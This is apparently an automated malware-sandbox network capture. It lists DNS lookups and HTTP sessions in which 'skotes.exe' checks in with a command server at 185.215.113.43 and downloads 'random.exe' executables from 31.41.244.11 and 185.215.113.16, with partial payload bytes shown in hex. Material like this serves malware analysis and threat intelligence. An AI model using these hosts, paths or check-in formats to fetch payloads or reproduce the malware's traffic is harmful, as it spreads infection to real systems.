Dec 12, 2024 21:50:44.174849033 CET	1.1.1.1	192.168.2.6	0xfcda	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.299140930 CET	1.1.1.1	192.168.2.6	0x4944	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.496334076 CET	1.1.1.1	192.168.2.6	0x7fb5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:50:44.643348932 CET	1.1.1.1	192.168.2.6	0x1853	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 12, 2024 21:51:08.627026081 CET	1.1.1.1	192.168.2.6	0x817e	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:08.627026081 CET	1.1.1.1	192.168.2.6	0x817e	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:08.627026081 CET	1.1.1.1	192.168.2.6	0x817e	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:08.949918032 CET	1.1.1.1	192.168.2.6	0x81a4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.115257025 CET	1.1.1.1	192.168.2.6	0xecb3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.140841007 CET	1.1.1.1	192.168.2.6	0xa27f	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:09.140841007 CET	1.1.1.1	192.168.2.6	0xa27f	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.197652102 CET	1.1.1.1	192.168.2.6	0x188b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:09.197652102 CET	1.1.1.1	192.168.2.6	0x188b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.304600954 CET	1.1.1.1	192.168.2.6	0xf6ef	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.530343056 CET	1.1.1.1	192.168.2.6	0x73e8	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.698333025 CET	1.1.1.1	192.168.2.6	0x69ad	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.698513031 CET	1.1.1.1	192.168.2.6	0x7eaa	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.698513031 CET	1.1.1.1	192.168.2.6	0x7eaa	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:09.701009989 CET	1.1.1.1	192.168.2.6	0xb7be	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:09.701009989 CET	1.1.1.1	192.168.2.6	0xb7be	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.107474089 CET	1.1.1.1	192.168.2.6	0xe3af	No error (0)	drive-connect.cyou		172.67.139.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.107474089 CET	1.1.1.1	192.168.2.6	0xe3af	No error (0)	drive-connect.cyou		104.21.79.7	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.141685963 CET	1.1.1.1	192.168.2.6	0xe3af	No error (0)	drive-connect.cyou		104.21.79.7	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.141685963 CET	1.1.1.1	192.168.2.6	0xe3af	No error (0)	drive-connect.cyou		172.67.139.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.250133038 CET	1.1.1.1	192.168.2.6	0x6c5a	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:10.391122103 CET	1.1.1.1	192.168.2.6	0x8ed3	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:11.956034899 CET	1.1.1.1	192.168.2.6	0xfd74	No error (0)	grahm.xyz		116.203.10.31	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:11.956068039 CET	1.1.1.1	192.168.2.6	0xfd74	No error (0)	grahm.xyz		116.203.10.31	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:26.968545914 CET	1.1.1.1	192.168.2.6	0x93fa	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:26.969048023 CET	1.1.1.1	192.168.2.6	0x86e3	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 12, 2024 21:51:33.745951891 CET	1.1.1.1	192.168.2.6	0xfc3b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:33.745951891 CET	1.1.1.1	192.168.2.6	0xfc3b	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:33.852452993 CET	1.1.1.1	192.168.2.6	0x6366	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:41.285850048 CET	1.1.1.1	192.168.2.6	0x7c50	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:41.286689997 CET	1.1.1.1	192.168.2.6	0xcf05	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.177	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.178	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.184	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.182	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.176	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.181	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.185	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.296240091 CET	1.1.1.1	192.168.2.6	0x20ae	No error (0)	mira-tmc.tm-4.office.com		52.123.243.186	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.856168032 CET	1.1.1.1	192.168.2.6	0x3fa5	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:41.856168032 CET	1.1.1.1	192.168.2.6	0x3fa5	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:41.858468056 CET	1.1.1.1	192.168.2.6	0xcfca	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:43.856971025 CET	1.1.1.1	192.168.2.6	0xb22f	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:43.876090050 CET	1.1.1.1	192.168.2.6	0xc5d1	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:43.962531090 CET	1.1.1.1	192.168.2.6	0xd3a	No error (0)	grahm.xyz		116.203.10.31	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:44.307533979 CET	1.1.1.1	192.168.2.6	0x8f42	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:44.307533979 CET	1.1.1.1	192.168.2.6	0x8f42	No error (0)	googlehosted.l.googleusercontent.com		172.217.17.65	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:44.352896929 CET	1.1.1.1	192.168.2.6	0x5a89	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 21:51:46.272330999 CET	1.1.1.1	192.168.2.6	0x6461	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 21:51:46.272663116 CET	1.1.1.1	192.168.2.6	0x5d9b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 12, 2024 21:51:46.272815943 CET	1.1.1.1	192.168.2.6	0x2405	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.272815943 CET	1.1.1.1	192.168.2.6	0x2405	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.273045063 CET	1.1.1.1	192.168.2.6	0xd4a7	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.273045063 CET	1.1.1.1	192.168.2.6	0xd4a7	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.278105974 CET	1.1.1.1	192.168.2.6	0x72e6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.278105974 CET	1.1.1.1	192.168.2.6	0x72e6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 12, 2024 21:51:46.278167009 CET	1.1.1.1	192.168.2.6	0xb43f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.43

31.41.244.11

185.215.113.16

185.215.113.206

detectportal.firefox.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49866	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:04.581305981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 12, 2024 21:50:05.911772013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49872	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:07.544217110 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 12, 2024 21:50:08.942723989 CET	868	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 61 35 0d 0a 20 3c 63 3e 31 30 31 34 35 31 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 34 35 31 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 34 35 32 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 34 35 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 [TRUNCATED] Data Ascii: 2a5 <c>1014518001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1014519001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1014520001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1014521001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1014522001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1014523001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1014524001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49878	31.41.244.11	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:09.067790031 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 21:50:10.393953085 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:10 GMT Content-Type: application/octet-stream Content-Length: 1961472 Last-Modified: Thu, 12 Dec 2024 19:17:27 GMT Connection: keep-alive ETag: "675b36c7-1dee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 90 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 86 00 00 04 00 00 57 52 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!J@$@$@$@$@$@$_@$@%@$@$@$@$Rich@$PELd@WRZBn@h! @T@.rsrch!@d@.idata B@ ) B@getekmlak@lxnvinpd@.taggant0"@
Dec 12, 2024 21:50:10.394129038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:10.394140959 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:10.394241095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 21:50:10.394248962 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: GKJ<
Dec 12, 2024 21:50:10.394258976 CET	1236	IN	Data Raw: 0b 3b 0f a7 81 f4 f2 1b 8a a7 60 1a 3f 5e d2 7b c5 8b ee 86 a0 39 66 4b e1 1d ca be 81 b3 0b c0 13 b7 e9 28 e8 bf 01 38 30 0e 37 be 05 89 8e 42 f0 d5 0a 62 b6 88 4e 4b 5e b3 41 39 1e 5e ea 7d 4c 01 2d f4 e7 72 51 45 1a 43 ba 43 01 15 8f 59 0b 82 Data Ascii: ;`?^{9fK(807BbNK^A9^}L-rQECCYI~8[;?M%xF[z3YQ?&S]cK?5UWk#9QiCtI"e\|G!7l~iEjk$%c0%$T i6^
Dec 12, 2024 21:50:10.394269943 CET	224	IN	Data Raw: 3e a3 18 59 7d 3f f3 6c 6f 1f c8 4e fd 9d 2b 5b 11 4f 66 6a cd 59 d2 50 4b f2 34 77 8f f3 1d c7 ea 53 30 5d 05 8a 32 4f 9b 82 c5 4e 8e 9c 13 17 e9 cc 62 69 ee 82 a9 5f e2 61 0f f6 ca 94 1a 59 05 07 cc c3 8f e9 cf d8 e6 6c 20 bc 0a 5c c5 de a6 f8 Data Ascii: >Y}?loN+[OfjYPK4wS0]2ONbi_aYl \/G=#[;>jYcG!mTzjqA^qF&D(-\9E R@,?Z([Wvs!!O V$u
Dec 12, 2024 21:50:10.394584894 CET	1236	IN	Data Raw: fb db ee 3a 2c 23 1d 48 fe 4b 61 bf d3 6f a6 dd 69 e3 1a ff 6f d5 4a c2 00 54 3e 55 f9 01 f7 e8 f1 1c eb b4 fb f0 11 fe a1 0e ea d8 b9 fc 9c b6 b0 e9 5a cf a1 97 47 c3 b5 ec a2 ae b0 67 19 6e d0 fc 0c eb 75 3d 13 6e 6d 02 85 cc a0 f0 60 72 ee 20 Data Ascii: :,#HKaoioJT>UZGgnu=nm`r jx@LDLH:IGlGg\|%pL~F/ni=?34F\|@3(E>c+ +9JgB[X^w6s;~?Iho\|W:}?FMd
Dec 12, 2024 21:50:10.394752979 CET	224	IN	Data Raw: ce ab fe bf d8 7b ec ae e4 19 ea ba e2 d4 55 5f 2e cd e9 32 e8 9f 6f 5f 59 4b fa 4d 7b 87 f9 26 e7 3b f5 d6 0c a4 d9 47 5d 00 1e fb 32 fb 07 49 15 c4 cd 43 ed 36 e2 d0 a4 5a 88 01 f7 0b 7b c4 16 0c 8f ef 26 67 72 b5 39 1e 11 f0 a4 5b 03 fd e0 86 Data Ascii: {U_.2o_YKM{&;G]2IC6Z{&gr9[{ZAnL+S1>]PY\|H2.]}bx7 I_@oGaa;;EAnz6/y`?WOd%c,6h*soPUK
Dec 12, 2024 21:50:10.394762993 CET	1236	IN	Data Raw: 37 37 76 f5 09 8a e8 76 a2 12 fb a1 09 06 f1 3a d8 81 e2 c6 a6 2c 6c b0 ef fc 3e 3e 0a ff 31 cf c7 c4 36 41 44 1f 7f 50 5c 9e 09 4a 9a b7 7f 6e 0f 6d 36 81 1e ec 12 b8 19 75 29 6a c9 bf 42 73 61 03 24 67 64 2e 0f a5 bf 07 49 f0 a1 fb dd 13 a5 06 Data Ascii: 77vv:,l>>16ADP\Jnm6u)jBsa$gd.I~.+c<~HA_IDO>9/zi?i:HkYZU"[WS.wz&Hs~$N!{FB/Kt
Dec 12, 2024 21:50:10.515338898 CET	1236	IN	Data Raw: c7 0c e8 55 69 2e 7e 43 31 88 7d 50 89 f3 2b 4b e3 01 15 44 cc ff 59 18 ce d0 4d 8b b7 51 e9 4b c9 19 49 09 14 09 56 09 66 dc ec 3b 98 f0 c5 04 cd 3f fe ea c2 03 8f d6 41 35 5a 0e 1f 33 20 74 06 75 19 c0 31 ea e9 61 1a e5 ec 50 04 5f 2a 96 b3 c8 Data Ascii: Ui.~C1}P+KDYMQKIVf;?A5Z3 tu1aP_*uE!I&;[vr.y!4]jc1vloq!en)ZSADl<w6j\}wOu$Q'2:CIJ7EN/:G3JZH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49895	185.215.113.43	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:16.221651077 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 35 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014518001&unit=246122658369
Dec 12, 2024 21:50:17.541171074 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49901	185.215.113.16	80	7836	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 21:50:17.667936087 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 12, 2024 21:50:19.021450996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 20:50:18 GMT Content-Type: application/octet-stream Content-Length: 966656 Last-Modified: Thu, 12 Dec 2024 20:00:34 GMT Connection: keep-alive ETag: "675b40e2-ec000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 da 40 5b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 10 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL@[g"w@ a@@@d\|@Tu4@.text `.rdata@@.datalpH@.rsrcT@V@@.relocuvJ@B
Dec 12, 2024 21:50:19.021634102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 12, 2024 21:50:19.021672964 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
